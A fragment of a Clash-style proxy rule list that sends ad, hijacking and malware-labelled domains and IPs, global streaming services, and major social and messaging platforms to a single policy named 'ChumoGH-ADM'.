DOMAIN-SUFFIX,fjlqqc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fkku194.com,ChumoGH-ADM +- DOMAIN-SUFFIX,freedrive.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,gclick.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,goufanli100.com,ChumoGH-ADM +- DOMAIN-SUFFIX,goupaoerdai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gouwubang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gzxnlk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,haoshengtoys.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hyunke.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ichaosheng.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ishop789.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jdkic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jiubuhua.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jsncke.com,ChumoGH-ADM +- DOMAIN-SUFFIX,junkucm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jwg365.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,kawo77.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kualianyingxiao.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,kumihua.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ltheanine.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,maipinshangmao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,minisplat.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mkitgfs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mlnbike.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mobjump.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nbkbgd.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,newapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pinzhitmall.com,ChumoGH-ADM +- DOMAIN-SUFFIX,poppyta.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qianchuanghr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qichexin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qinchugudao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,quanliyouxi.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,qutaobi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ry51w.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sg536.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifubo.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuce.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuda.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifufu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuge.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifugu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuhe.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuhu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuji.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuka.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,smgru.net,ChumoGH-ADM +- DOMAIN-SUFFIX,taoggou.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tcxshop.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tjqonline.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,topitme.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tt3sm4.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,tuia.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,tuipenguin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tuitiger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,websd8.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wsgblw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wx16999.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xchmai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiaohuau.xyz,ChumoGH-ADM +- DOMAIN-SUFFIX,ygyzx.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,yinmong.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yitaopt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yjqiqi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yukhj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhaozecheng.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,zhenxinet.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zlne800.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zunmi.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,zzd6.com,ChumoGH-ADM +- IP-CIDR,39.107.15.115/32,ChumoGH-ADM,no-resolve +- IP-CIDR,47.89.59.182/32,ChumoGH-ADM,no-resolve +- IP-CIDR,103.49.209.27/32,ChumoGH-ADM,no-resolve +- IP-CIDR,123.56.152.96/32,ChumoGH-ADM,no-resolve +# > ChinaTelecom +- IP-CIDR,61.160.200.223/32,ChumoGH-ADM,no-resolve +- IP-CIDR,61.160.200.242/32,ChumoGH-ADM,no-resolve +- IP-CIDR,61.160.200.252/32,ChumoGH-ADM,no-resolve +- IP-CIDR,61.174.50.214/32,ChumoGH-ADM,no-resolve +- IP-CIDR,111.175.220.163/32,ChumoGH-ADM,no-resolve +- IP-CIDR,111.175.220.164/32,ChumoGH-ADM,no-resolve +- IP-CIDR,122.229.8.47/32,ChumoGH-ADM,no-resolve +- IP-CIDR,122.229.29.89/32,ChumoGH-ADM,no-resolve +- IP-CIDR,124.232.160.178/32,ChumoGH-ADM,no-resolve +- IP-CIDR,175.6.223.15/32,ChumoGH-ADM,no-resolve +- IP-CIDR,183.59.53.237/32,ChumoGH-ADM,no-resolve +- IP-CIDR,218.93.127.37/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.228.17.152/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.231.6.79/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.91/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.95/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.96/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.97/32,ChumoGH-ADM,no-resolve +# > ChinaUnicom +- IP-CIDR,106.75.231.48/32,ChumoGH-ADM,no-resolve +- IP-CIDR,119.4.249.166/32,ChumoGH-ADM,no-resolve +- IP-CIDR,220.196.52.141/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.6.4.148/32,ChumoGH-ADM,no-resolve +# > ChinaMobile +- IP-CIDR,114.247.28.96/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.179.131.72/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.179.140.145/32,ChumoGH-ADM,no-resolve +# > Dr.Peng +# - IP-CIDR,10.72.25.0/24,ChumoGH-ADM,no-resolve +- IP-CIDR,115.182.16.79/32,ChumoGH-ADM,no-resolve +- IP-CIDR,118.144.88.126/32,ChumoGH-ADM,no-resolve +- IP-CIDR,118.144.88.215/32,ChumoGH-ADM,no-resolve +- IP-CIDR,118.144.88.216/32,ChumoGH-ADM,no-resolve +- IP-CIDR,120.76.189.132/32,ChumoGH-ADM,no-resolve +- IP-CIDR,124.14.21.147/32,ChumoGH-ADM,no-resolve +- IP-CIDR,124.14.21.151/32,ChumoGH-ADM,no-resolve +- IP-CIDR,180.166.52.24/32,ChumoGH-ADM,no-resolve +- IP-CIDR,211.161.101.106/32,ChumoGH-ADM,no-resolve +- IP-CIDR,220.115.251.25/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.73.156.235/32,ChumoGH-ADM,no-resolve + +# Malware 恶意网站 +# > 快压 +# https://zhuanlan.zhihu.com/p/39534279 +- DOMAIN-SUFFIX,kuaizip.com,ChumoGH-ADM +# > MacKeeper +# https://www.lizhi.io/blog/40002904 +- DOMAIN-SUFFIX,mackeeper.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zryydi.com,ChumoGH-ADM +# > Adobe Flash China Special Edition +# https://www.zhihu.com/question/281163698/answer/441388130 +- DOMAIN-SUFFIX,flash.cn,ChumoGH-ADM +- DOMAIN,geo2.adobe.com,ChumoGH-ADM +# > C&J Marketing 思杰马克丁软件 +# https://www.zhihu.com/question/46746200 +- DOMAIN-SUFFIX,4009997658.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abbyychina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bartender.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,betterzip.net,ChumoGH-ADM +- DOMAIN-SUFFIX,betterzipcn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,beyondcompare.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,bingdianhuanyuan.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,chemdraw.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,cjmakeding.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cjmkt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,codesoftchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,coreldrawchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,crossoverchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dongmansoft.com,ChumoGH-ADM +- DOMAIN-SUFFIX,earmasterchina.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,easyrecoverychina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ediuschina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,flstudiochina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,formysql.com,ChumoGH-ADM +- DOMAIN-SUFFIX,guitarpro.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,huishenghuiying.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,hypersnap.net,ChumoGH-ADM +- DOMAIN-SUFFIX,iconworkshop.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,imindmap.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,jihehuaban.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,keyshot.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,kingdeecn.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,logoshejishi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,luping.net.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.net,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuanwang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,makeding.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mathtype.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mindmanager.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,mindmanager.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mindmapper.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,mycleanmymac.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nicelabel.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,ntfsformac.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,ntfsformac.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,overturechina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,passwordrecovery.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,pdfexpert.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,photozoomchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,shankejingling.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ultraiso.net,ChumoGH-ADM +- DOMAIN-SUFFIX,vegaschina.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,xmindchina.net,ChumoGH-ADM +- DOMAIN-SUFFIX,xshellcn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yihuifu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,yuanchengxiezuo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zbrushcn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhzzx.com,ChumoGH-ADM + +# Global Area Network +# (ChumoGH-ADM) +# (Music) +# > Deezer +# USER-AGENT,Deezer*,ChumoGH-ADM +- DOMAIN-SUFFIX,deezer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dzcdn.net,ChumoGH-ADM +# > KKBOX +- DOMAIN-SUFFIX,kkbox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kkbox.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,kfs.io,ChumoGH-ADM +# > JOOX +# USER-AGENT,WeMusic*,ChumoGH-ADM +# USER-AGENT,JOOX*,ChumoGH-ADM +- DOMAIN-SUFFIX,joox.com,ChumoGH-ADM +# > Pandora +# USER-AGENT,Pandora*,ChumoGH-ADM +- DOMAIN-SUFFIX,pandora.com,ChumoGH-ADM +# > SoundCloud +# USER-AGENT,SoundCloud*,ChumoGH-ADM +- DOMAIN-SUFFIX,p-cdn.us,ChumoGH-ADM +- DOMAIN-SUFFIX,sndcdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,soundcloud.com,ChumoGH-ADM +# > Spotify +# USER-AGENT,Spotify*,ChumoGH-ADM +- DOMAIN-SUFFIX,pscdn.co,ChumoGH-ADM +- DOMAIN-SUFFIX,scdn.co,ChumoGH-ADM +- DOMAIN-SUFFIX,spotify.com,ChumoGH-ADM +- DOMAIN-SUFFIX,spoti.fi,ChumoGH-ADM +- DOMAIN-KEYWORD,spotify.com,ChumoGH-ADM +- DOMAIN-KEYWORD,-spotify-com,ChumoGH-ADM +# > TIDAL +# USER-AGENT,TIDAL*,ChumoGH-ADM +- DOMAIN-SUFFIX,tidal.com,ChumoGH-ADM +# > YouTubeMusic +# USER-AGENT,com.google.ios.youtubemusic*,ChumoGH-ADM +# USER-AGENT,YouTubeMusic*,ChumoGH-ADM +# (Video) +# > All4 +# USER-AGENT,All4*,ChumoGH-ADM +- DOMAIN-SUFFIX,c4assets.com,ChumoGH-ADM +- DOMAIN-SUFFIX,channel4.com,ChumoGH-ADM +# > AbemaTV +# USER-AGENT,AbemaTV*,ChumoGH-ADM +- DOMAIN-SUFFIX,abema.io,ChumoGH-ADM +- DOMAIN-SUFFIX,ameba.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,abema.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,hayabusa.io,ChumoGH-ADM +- DOMAIN,abematv.akamaized.net,ChumoGH-ADM +- DOMAIN,ds-linear-abematv.akamaized.net,ChumoGH-ADM +- DOMAIN,ds-vod-abematv.akamaized.net,ChumoGH-ADM +- DOMAIN,linear-abematv.akamaized.net,ChumoGH-ADM +# > Amazon Prime Video +# USER-AGENT,InstantVideo.US*,ChumoGH-ADM +# USER-AGENT,Prime%20Video*,ChumoGH-ADM +- DOMAIN-SUFFIX,aiv-cdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,aiv-delivery.net,ChumoGH-ADM +- DOMAIN-SUFFIX,amazonvideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,primevideo.com,ChumoGH-ADM +- DOMAIN,avodmp4s3ww-a.akamaihd.net,ChumoGH-ADM +- DOMAIN,d25xi40x97liuc.cloudfront.net,ChumoGH-ADM +- DOMAIN,dmqdd6hw24ucf.cloudfront.net,ChumoGH-ADM +- DOMAIN,d22qjgkvxw22r6.cloudfront.net,ChumoGH-ADM +- DOMAIN,d1v5ir2lpwr8os.cloudfront.net,ChumoGH-ADM +- DOMAIN-KEYWORD,avoddashs,ChumoGH-ADM +# > Bahamut +# USER-AGENT,Anime*,ChumoGH-ADM +- DOMAIN-SUFFIX,bahamut.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,gamer.com.tw,ChumoGH-ADM +- DOMAIN,gamer-cds.cdn.hinet.net,ChumoGH-ADM +- DOMAIN,gamer2-cds.cdn.hinet.net,ChumoGH-ADM +# > BBC iPlayer +# USER-AGENT,BBCiPlayer*,ChumoGH-ADM +- DOMAIN-SUFFIX,bbc.co.uk,ChumoGH-ADM +- DOMAIN-SUFFIX,bbci.co.uk,ChumoGH-ADM +- DOMAIN-KEYWORD,bbcfmt,ChumoGH-ADM +- DOMAIN-KEYWORD,uk-live,ChumoGH-ADM +# > DAZN +# USER-AGENT,DAZN*,ChumoGH-ADM +- DOMAIN-SUFFIX,dazn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dazn-api.com,ChumoGH-ADM +- DOMAIN,d151l6v8er5bdm.cloudfront.net,ChumoGH-ADM +- DOMAIN-KEYWORD,voddazn,ChumoGH-ADM +# > Disney+ +# USER-AGENT,Disney+*,ChumoGH-ADM +- DOMAIN-SUFFIX,bamgrid.com,ChumoGH-ADM +- DOMAIN-SUFFIX,disney-plus.net,ChumoGH-ADM +- DOMAIN-SUFFIX,disneyplus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dssott.com,ChumoGH-ADM +- DOMAIN,cdn.registerdisney.go.com,ChumoGH-ADM +# > encoreTVB +# USER-AGENT,encoreTVB*,ChumoGH-ADM +- DOMAIN-SUFFIX,encoretvb.com,ChumoGH-ADM +- DOMAIN,edge.api.brightcove.com,ChumoGH-ADM +- DOMAIN,bcbolt446c5271-a.akamaihd.net,ChumoGH-ADM +# > FOX NOW +# USER-AGENT,FOX%20NOW*,ChumoGH-ADM +- DOMAIN-SUFFIX,fox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,foxdcg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,theplatform.com,ChumoGH-ADM +- DOMAIN-SUFFIX,uplynk.com,ChumoGH-ADM +# > HBO NOW +# USER-AGENT,HBO%20NOW*,ChumoGH-ADM +- DOMAIN-SUFFIX,hbo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbogo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbonow.com,ChumoGH-ADM +# > HBO GO HKG +# USER-AGENT,HBO%20GO%20PROD%20HKG*,ChumoGH-ADM +- DOMAIN-SUFFIX,hbogoasia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbogoasia.hk,ChumoGH-ADM +- DOMAIN,bcbolthboa-a.akamaihd.net,ChumoGH-ADM +- DOMAIN,players.brightcove.net,ChumoGH-ADM +- DOMAIN,s3-ap-southeast-1.amazonaws.com,ChumoGH-ADM +- DOMAIN,dai3fd1oh325y.cloudfront.net,ChumoGH-ADM +- DOMAIN,44wilhpljf.execute-api.ap-southeast-1.amazonaws.com,ChumoGH-ADM +- DOMAIN,hboasia1-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia2-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia3-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia4-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia5-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,cf-images.ap-southeast-1.prod.boltdns.net,ChumoGH-ADM +# > 华文电视 +# USER-AGENT,HWTVMobile*,ChumoGH-ADM +- DOMAIN-SUFFIX,5itv.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,ocnttv.com,ChumoGH-ADM +# > Hulu +- DOMAIN-SUFFIX,hulu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,huluim.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hulustream.com,ChumoGH-ADM +# > Hulu(フールー) +- DOMAIN-SUFFIX,happyon.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,hulu.jp,ChumoGH-ADM +# > ITV +# USER-AGENT,ITV_Player*,ChumoGH-ADM +- DOMAIN-SUFFIX,itv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,itvstatic.com,ChumoGH-ADM +- DOMAIN,itvpnpmobile-a.akamaihd.net,ChumoGH-ADM +# > KKTV +# USER-AGENT,KKTV*,ChumoGH-ADM +# USER-AGENT,com.kktv.ios.kktv*,ChumoGH-ADM +- DOMAIN-SUFFIX,kktv.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,kktv.me,ChumoGH-ADM +- DOMAIN,kktv-theater.kk.stream,ChumoGH-ADM +# > Line TV +# USER-AGENT,LINE%20TV*,ChumoGH-ADM +- DOMAIN-SUFFIX,linetv.tw,ChumoGH-ADM +- DOMAIN,d3c7rimkq79yfu.cloudfront.net,ChumoGH-ADM +# > LiTV +- DOMAIN-SUFFIX,litv.tv,ChumoGH-ADM +- DOMAIN,litvfreemobile-hichannel.cdn.hinet.net,ChumoGH-ADM +# > My5 +# USER-AGENT,My5*,ChumoGH-ADM +- DOMAIN-SUFFIX,channel5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,my5.tv,ChumoGH-ADM +- DOMAIN,d349g9zuie06uo.cloudfront.net,ChumoGH-ADM +# > myTV SUPER +# USER-AGENT,mytv*,ChumoGH-ADM +- DOMAIN-SUFFIX,mytvsuper.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tvb.com,ChumoGH-ADM +# > Netflix +# USER-AGENT,Argo*,ChumoGH-ADM +- DOMAIN-SUFFIX,netflix.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflix.net,ChumoGH-ADM +- DOMAIN-SUFFIX,nflxext.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nflximg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nflximg.net,ChumoGH-ADM +- DOMAIN-SUFFIX,nflxso.net,ChumoGH-ADM +- DOMAIN-SUFFIX,nflxvideo.net,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest0.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest1.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest2.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest3.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest4.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest6.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest7.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest8.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest9.com,ChumoGH-ADM +- IP-CIDR,23.246.0.0/18,ChumoGH-ADM,no-resolve +- IP-CIDR,37.77.184.0/21,ChumoGH-ADM,no-resolve +- IP-CIDR,45.57.0.0/17,ChumoGH-ADM,no-resolve +- IP-CIDR,64.120.128.0/17,ChumoGH-ADM,no-resolve +- IP-CIDR,66.197.128.0/17,ChumoGH-ADM,no-resolve +- IP-CIDR,108.175.32.0/20,ChumoGH-ADM,no-resolve +- IP-CIDR,192.173.64.0/18,ChumoGH-ADM,no-resolve +- IP-CIDR,198.38.96.0/19,ChumoGH-ADM,no-resolve +- IP-CIDR,198.45.48.0/20,ChumoGH-ADM,no-resolve +# > niconico +# USER-AGENT,Niconico*,ChumoGH-ADM +- DOMAIN-SUFFIX,dmc.nico,ChumoGH-ADM +- DOMAIN-SUFFIX,nicovideo.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nimg.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,socdm.com,ChumoGH-ADM +# > PBS +# USER-AGENT,PBS*,ChumoGH-ADM +- DOMAIN-SUFFIX,pbs.org,ChumoGH-ADM +# > Pornhub +- DOMAIN-SUFFIX,phncdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pornhub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pornhubpremium.com,ChumoGH-ADM +# > 台湾好 +# USER-AGENT,TaiwanGood*,ChumoGH-ADM +- DOMAIN-SUFFIX,skyking.com.tw,ChumoGH-ADM +- DOMAIN,hamifans.emome.net,ChumoGH-ADM +# > Twitch +- DOMAIN-SUFFIX,twitch.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,twitchcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ttvnw.net,ChumoGH-ADM +- DOMAIN-SUFFIX,jtvnw.net,ChumoGH-ADM +# > ViuTV +# USER-AGENT,Viu*,ChumoGH-ADM +# USER-AGENT,ViuTV*,ChumoGH-ADM +- DOMAIN-SUFFIX,viu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,viu.tv,ChumoGH-ADM +- DOMAIN,api.viu.now.com,ChumoGH-ADM +- DOMAIN,d1k2us671qcoau.cloudfront.net,ChumoGH-ADM +- DOMAIN,d2anahhhmp1ffz.cloudfront.net,ChumoGH-ADM +- DOMAIN,dfp6rglgjqszk.cloudfront.net,ChumoGH-ADM +# > YouTube +# USER-AGENT,com.google.ios.youtube*,ChumoGH-ADM +# USER-AGENT,YouTube*,ChumoGH-ADM +- DOMAIN-SUFFIX,googlevideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,youtube.com,ChumoGH-ADM +- DOMAIN,youtubei.googleapis.com,ChumoGH-ADM + +# (ChumoGH-ADM) +# > 愛奇藝台灣站 +- DOMAIN,cache.video.iqiyi.com,ChumoGH-ADM +# > bilibili +- DOMAIN-SUFFIX,bilibili.com,ChumoGH-ADM +- DOMAIN,upos-hz-mirrorakam.akamaized.net,ChumoGH-ADM + +# (DNS Cache Pollution Protection) +# > Google +- DOMAIN-SUFFIX,ampproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,appspot.com,ChumoGH-ADM +- DOMAIN-SUFFIX,blogger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,getoutline.org,ChumoGH-ADM +- DOMAIN-SUFFIX,gvt0.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gvt1.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gvt3.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xn--ngstr-lra8j.com,ChumoGH-ADM +- DOMAIN-KEYWORD,google,ChumoGH-ADM +- DOMAIN-KEYWORD,blogspot,ChumoGH-ADM +# > Microsoft +- DOMAIN-SUFFIX,onedrive.live.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xboxlive.com,ChumoGH-ADM +# > Facebook +- DOMAIN-SUFFIX,cdninstagram.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fb.me,ChumoGH-ADM +- DOMAIN-SUFFIX,fbaddins.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fbcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,fbsbx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fbworkmail.com,ChumoGH-ADM +- DOMAIN-SUFFIX,instagram.com,ChumoGH-ADM +- DOMAIN-SUFFIX,m.me,ChumoGH-ADM +- DOMAIN-SUFFIX,messenger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oculus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oculuscdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,rocksdb.org,ChumoGH-ADM +- DOMAIN-SUFFIX,whatsapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whatsapp.net,ChumoGH-ADM +- DOMAIN-KEYWORD,facebook,ChumoGH-ADM +- IP-CIDR,3.123.36.126/32,ChumoGH-ADM,no-resolve +- IP-CIDR,35.157.215.84/32,ChumoGH-ADM,no-resolve +- IP-CIDR,35.157.217.255/32,ChumoGH-ADM,no-resolve +- IP-CIDR,52.58.209.134/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.93.124.31/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.162.243.80/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.173.34.141/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.235.23.242/32,ChumoGH-ADM,no-resolve +- IP-CIDR,169.45.248.118/32,ChumoGH-ADM,no-resolve +# > Twitter +- DOMAIN-SUFFIX,pscp.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,periscope.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,t.co,ChumoGH-ADM +- DOMAIN-SUFFIX,twimg.co,ChumoGH-ADM +- DOMAIN-SUFFIX,twimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,twitpic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vine.co,ChumoGH-ADM +- DOMAIN-KEYWORD,twitter,ChumoGH-ADM +# > Telegram +- DOMAIN-SUFFIX,t.me,ChumoGH-ADM +- DOMAIN-SUFFIX,tdesktop.com,ChumoGH-ADM +- DOMAIN-SUFFIX,telegra.ph,ChumoGH-ADM +- DOMAIN-SUFFIX,telegram.me,ChumoGH-ADM +- DOMAIN-SUFFIX,telegram.org,ChumoGH-ADM +- IP-CIDR,91.108.4.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.8.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.12.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.16.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.56.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,149.154.160.0/20,ChumoGH-ADM,no-resolve +# > Line +- DOMAIN-SUFFIX,line.me,ChumoGH-ADM +- DOMAIN-SUFFIX,line-apps.com,ChumoGH-ADM +- DOMAIN-SUFFIX,line-scdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,naver.jp,ChumoGH-ADM +- IP-CIDR,103.2.30.0/23,ChumoGH-ADM,no-resolve +- IP-CIDR,125.209.208.0/20,ChumoGH-ADM,no-resolve +- IP-CIDR,147.92.128.0/17,ChumoGH-ADM,no-resolve +- 